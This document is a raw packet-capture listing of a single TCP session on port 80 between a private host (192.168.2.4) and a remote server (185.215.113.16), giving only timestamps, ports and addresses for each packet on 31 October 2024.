Oct 31, 2024 20:52:11.452636003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452645063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452653885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452665091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452683926 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452683926 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452698946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452701092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452713013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452725887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452733994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452738047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452760935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452783108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452789068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452795029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452804089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452820063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452821016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452831984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452836037 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452842951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452856064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452893019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452930927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452941895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452961922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452971935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452976942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452977896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452977896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453085899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453094959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453108072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453135967 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453476906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453521967 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453546047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453557968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453568935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453583956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453588009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453608036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453634024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453634977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453639030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453649998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453670025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453695059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453763962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453775883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453787088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453799009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453808069 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453810930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453826904 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453850985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.453916073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.453958035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454122066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454164028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454173088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454185009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454216003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454258919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454269886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454279900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454291105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454303980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454303980 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454324007 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454338074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454359055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454371929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454381943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.454396009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.454417944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.494384050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.494415045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.494425058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.494474888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.494498968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.615930080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.615950108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.615962029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.616027117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.616069078 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.616841078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.616894007 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.616930008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.616940022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.616970062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.616983891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.616988897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.616995096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617005110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617016077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617018938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617037058 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617055893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617058992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617069960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617077112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617117882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617419004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617470026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617496967 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617506981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617516994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617538929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617552042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617554903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617566109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617572069 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617577076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617597103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617603064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617614985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617625952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617631912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617636919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617652893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617676020 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617724895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617736101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617757082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617769003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617774963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617785931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617796898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617805958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617814064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617830038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617831945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617844105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617857933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617861032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617872953 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617912054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.617950916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617961884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617971897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617984056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617993116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.617996931 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618005037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618016005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618026972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618027925 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618068933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618675947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618724108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618726015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618741989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618762016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618768930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618774891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618778944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618788958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618799925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.618813038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618824005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618844986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.618993998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619009018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619023085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619036913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619048119 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619057894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619066954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619069099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619086981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619092941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619098902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619111061 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619115114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619129896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619152069 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619189978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619204044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619216919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619231939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619245052 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619357109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619368076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619379044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619389057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619398117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619406939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619417906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619420052 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619443893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619452000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619466066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619467974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619484901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619487047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619497061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619499922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619518995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619533062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619570971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619580984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619590998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619602919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619611025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619613886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619628906 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619631052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619642973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619647026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619668961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619690895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619714975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619728088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619762897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619817019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619827986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619838953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619852066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619882107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619926929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619972944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.619982004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.619992018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620008945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620022058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620028019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620047092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620063066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620064020 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620073080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620091915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620105982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620106936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620117903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620132923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620155096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620301008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620341063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620367050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620378971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620388985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620409966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620423079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620568991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620579958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620596886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620609045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620615005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620620012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620639086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620640039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620666027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620682001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620690107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620698929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620734930 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620786905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620798111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620814085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620825052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620831013 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620867014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.620882034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.620932102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.660830021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.660875082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.660885096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.660938025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.660959959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.782531023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.782550097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.782562017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.782679081 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.782721996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.783813000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.783864975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.783876896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.783947945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.783965111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.783977032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.783983946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.783993959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784029961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784049034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784274101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784286976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784300089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784321070 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784322023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784332991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784343004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784347057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784358978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784369946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784378052 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784380913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784400940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784401894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784415960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784430981 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784625053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784636021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784645081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784657001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784662962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784677029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784709930 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784797907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784810066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784828901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784841061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784845114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784851074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784862041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784868002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784873009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784884930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784898043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784899950 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784926891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784936905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784945011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784962893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784965038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.784970999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.784996033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785060883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785070896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785101891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785202980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785248995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785254002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785265923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785275936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785296917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785315990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.785346985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.785393000 CET	49734	80	192.168.2.4	185.215.113.16
